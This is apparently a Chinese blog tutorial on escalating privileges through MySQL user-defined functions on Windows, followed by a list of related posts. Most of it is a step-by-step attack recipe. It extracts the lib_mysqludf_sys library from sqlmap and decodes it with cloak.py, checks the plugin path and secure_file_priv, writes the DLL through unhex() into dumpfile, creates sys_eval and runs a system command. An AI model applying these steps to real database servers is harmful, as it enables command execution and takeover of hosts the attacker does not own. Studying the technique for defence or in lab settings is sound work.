windwos下mysql的udf提权

MySql UDF提权介绍

UDF(User Defined Functions)即用户自定义函数,通过这种方式可以实现命令执行,其原理是通过lib_mysqludf_sys提供的函数可以执行系统命令 攻击场景:同之前利用日志写WebShell的场景,即堆叠注入或MySQL终端权限或类似phpMyAdmin数据库管理工具后台权限等

UDF的几个关键函数

sys_eval():执行任意命令,并将输出返回

sys_exec():执行任意命令,并将返回码返回

sys_get():获取一个环境变量

sys set():创建或修改一个环境变量

UDF文件获取的方式

https://github.com/mysqludf/lib_mysqludf_sys

sqlmap工具中的UDF文件

sqlmap下:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

sqlmap中的UDF文件位于sqlmap/data/udf/mysqI/目录中,该文件经过编码,需要使用sqlmap/extra/cloak目录下的cloak.py文件进行解码

liunx:

python cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys.so

windwos:

python cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys.dll

dumpfile语法

dumpfile:功能、语法及限制同outfile,但一次只导出一行内容

基本语法: select[列名] from table [where语句] intodumpfile '目标文件'[option];

两者区别

outfile可导出多行数据,而dumpfile只导出一行outfile在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式

查看路径

用phpstudy的Extensions\MySQL5.7.26\bin\mysql.exe客户端程序,通过获取代的账号密码登录mysql服务端

查看mysql服务器公共库路径

show variables like 'plugin%';        

查看secure_file_priv值是否为空

show global variables like 'secure%'; 

去查看它的设置,发现设置为NULL,secure_file_priv为NULL是禁止导出文件的意思。怪不得无法导出十六进制,那我们就去设置一下吧。我们把secure_file_priv设置为secure_file_priv=

那么我们可以通过修改my.ini去设置secure_file_priv 。

查看mysql安装路径

select @@basedir;

然后访问这个地址,拿到my.ini

然后我们打开my.ini(以记事本方式打开即可)

添加下面标红的语句,保存退出。

secure_file_priv=

然后再查看一下,发现secure_file_priv已经改过来了

确定平台是64位还是32位

show variables like '%version_%';

将udf.dll写入到plugin目录下

先在Mysql根目录中国新建lib\plugin的子目录,再往mysql的plugin目录中写UDF文件

select unhex('xxx') into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/lib_mysqludf_sys.dll';

注意: unhex()函数值就是UDF文件的Hex值,在Linux下可以使用hexdump命令获取,在Windows下使用WinHex可以获取得到 利用dumpfile才能将原文件数据原封不动地写到指定文件中

WinHex

WinHex是一款16进制的文本编辑器与磁盘编辑软件。可以进行Hex和ASCII编码的编辑与修改,支持多文件搜寻替换功能模式,一般运算和逻辑运算,磁盘磁区的编辑,文件比对和分析功能 下载地址: 【WinHex下载】2024年最新官方正式版WinHex 免费下载 - 腾讯软件中心官网 这里用WinHex打开获取lib_mysqludf_sys.dll文件Hex数据

名字执行

创建函数

create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

执行

select sys_eval("whoami");

相关推荐

  1. linux环境MySQL UDF

    2024-07-10 15:02:02       18 阅读
  2. <span style='color:red;'>udf</span><span style='color:red;'>提</span><span style='color:red;'>权</span>

    udf

    2024-07-10 15:02:02      37 阅读
  3. <span style='color:red;'>UDF</span><span style='color:red;'>提</span><span style='color:red;'>权</span>

    UDF

    2024-07-10 15:02:02      24 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-10 15:02:02       5 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-10 15:02:02       5 阅读
  3. 在Django里面运行非项目文件

    2024-07-10 15:02:02       4 阅读
  4. Python语言-面向对象

    2024-07-10 15:02:02       7 阅读

热门阅读

  1. WPF中逻辑树和视觉树

    2024-07-10 15:02:02       11 阅读
  2. 微信小程序-组件样式隔离

    2024-07-10 15:02:02       10 阅读
  3. DangerWind-RPC-framework---一、服务注册与发现

    2024-07-10 15:02:02       10 阅读
  4. spring监听事件

    2024-07-10 15:02:02       8 阅读
  5. 网络基础——udp协议

    2024-07-10 15:02:02       10 阅读
  6. Python从Excel表中查找指定数据填入新表

    2024-07-10 15:02:02       9 阅读
  7. 数据库和缓存基础(mysql,redis等)

    2024-07-10 15:02:02       7 阅读
  8. TortoiseSVN 使用教程

    2024-07-10 15:02:02       8 阅读
  9. led_strip例程分析

    2024-07-10 15:02:02       5 阅读